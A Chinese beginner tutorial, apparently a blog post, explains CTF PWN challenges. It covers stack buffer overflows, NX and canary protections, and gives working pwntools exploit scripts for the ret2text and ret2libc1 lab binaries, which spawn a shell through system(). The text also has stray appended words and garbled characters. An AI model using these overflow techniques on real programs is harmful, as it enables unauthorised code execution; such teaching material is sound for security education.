CTF比赛主要表现如下几个技能上:逆向工程、密码 学、ACM编程、Web漏洞、二进制溢出、网络和取证等。在国际CTF赛事中,二进制溢出也称之为PWN。python
PWN是一个黑客语法的俚语词,自"own"这个字引伸出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优点,或是说明竞争对手处在彻底惨败的 情形下,这个词习惯上在网络游戏文化主要用于嘲笑竞争对手在整个游戏对战中已经彻底被击败(例如:"You just got pwned!")。有一个很是著名的国际赛事叫作Pwn2Own,相信你如今已经可以理解这个名字的含义了,即经过战胜对手来达到拥有的目的。linux
CTF中PWN题型一般会直接给定一个已经编译好的二进制程序(Windows下的EXE或者Linux下的ELF文件等),而后参赛选手经过对二进制程 序进行逆向分析和调试来找到利用漏洞,并编写利用代码,经过远程代码执行来达到溢出攻击的效果,最终拿到目标机器的shell夺取flag。shell
Linux管道能够将一个进程的标准输出做为另外一个进程的标准输入,管道的操做符号为“|”,好比ls命令可用于查看当前目录下的文件列表,而grep命 令可用于匹配特定的字符,所以ls | grep test命令可用于列出当前目录下文件名包含test的文件。编程
在Linux shell中执行python -c "print 'Hello'"能够执行双引号中的Python语句,即经过print打印出Hello字符串。Python中单引号和双引号没有区别,由于这里使用双 引号修饰Python语句,所以使用单引号修饰字符串。ruby
gdb是Linux下经常使用的一款命令行调试器,拥有十分强大的调试功能。本文中须要用到的gdb命令以下:bash
读懂常见的汇编指令是CTF竞赛中PWN解题的基本要求:网络
汇编语言中,esp寄存器用于指示当前函数栈帧的栈顶的位置,函数中局部变量都存储在栈空间中,栈的生长方向是向下的(即从高地址往低地址方向生长)。函数
缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区自己的容量,使得溢出的数据覆盖在合法数据上,理想的状况是程序检查数据长度并不容许输入超 过缓冲区长度的字符,可是绝大多数程序都会假设数据长度老是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患。工具
漏洞通常是一、gets函数这种对输入没有限制致使溢出。二、格式化字符串漏洞。三、数据类型转换的时候产生了溢出。 总的来讲就是对输入的值限制的不够让用户的输入影响了执行流。 那么如何利用漏洞呢? 在linux中有一个system函数system("/bin/bash")这条语句就能够调出shell。让程序执行这个函数就能实现对shell的调用了_。spa
在溢出是要清楚2个问题:一、哪里有漏洞,也就是咱们能把本身的代码或者字符放到函数里并影响执行。二、咱们要让它执行什么。
```
nt __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("There is something amazing here, do you know anything?"); gets(&s); printf("Maybe I will tell you next time !"); return 0; } ``` 这里须要安装pwntools[这里能够安装工具](https://blog.csdn.net/gyhgx/article/details/53439417) ``` from pwn import * payload='A'*112+p32(0x0804863a) p=process("./ret2text") p.recvline() p.sendline(payload) p.interactive() ``` 112临时变量|addr(s)-ebp|+4 0x0804863a这个地址处是 ``` .text:0804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:08048641 call _system ```
固然系统也是有不少保护机制的
checksec工具能够帮助咱们查看程序开启的保护。
下面是checksec的执行结果
root@kali:~/桌面# checksec ret2text [!] Pwntools does not support 32-bit Python. Use a 64-bit release. [*] '/root/\xe6\xa1\x8c\xe9\x9d\xa2/ret2text' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
如今我接触的2个一个是NX和stack。NX保护是站内代码不可执行。stack是在栈里面放一个canary值这个值一旦被修改就会触发check_failed()函数,打印程序名而后退出。
NX保护:
你不能执行我就不执行,栈里面的内容只负责把程序执行流引入到一个须要的汇编代码的位置处,而后调用程序本身的一些代码来实现攻击。你能够调用含有call或者ret代码这样就能一直链接下去。这就是大佬说的ROP链。
cannary:
函数在执行的时候把一个值放入到栈内的某个位置,咱们想要溢出返回地址就要改变这个值,返回的时候系统检查canary值是否改变,若是改变就调用check_failed()函数,打印程序名而后退出。基于这个原理咱们能够一、找到canary的值而后填进去。二、能够覆盖掉check_\failed()的调用地址换成system()
这是ida反编译结果。
int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [esp+1Ch] [ebp-64h] setvbuf(stdout, 0, 2, 0); setvbuf(_bss_start, 0, 1, 0); puts("RET2LIBC >_<"); gets(&s); return 0; }
和以前惟一不一样的是system和字符串“/bin/bash”分开了
下面是脚本
from pwn import * elf=ELF('ret2libc1') payload='A'*112+p32(elf.plt['system'])+'aaaa'+p32(0x8049720) p=process("./ret2libc1") p.recvline() p.sendline(payload) p.interactive()
关注一下payload plt是elf加载动态库用的 ,里面是个地址,存放着一个jmp xxx xxx就是system的地址。’aaaa’是system的返回地址,不须要返回了因此这个值没用,p32(0x8049720)是‘/bin/bash’的地址。须要注意的是上一个例子是只须要传进去参数就行,这里进入system的是ret不只须要咱们布置‘/bin/bash’还须要布置返回地址。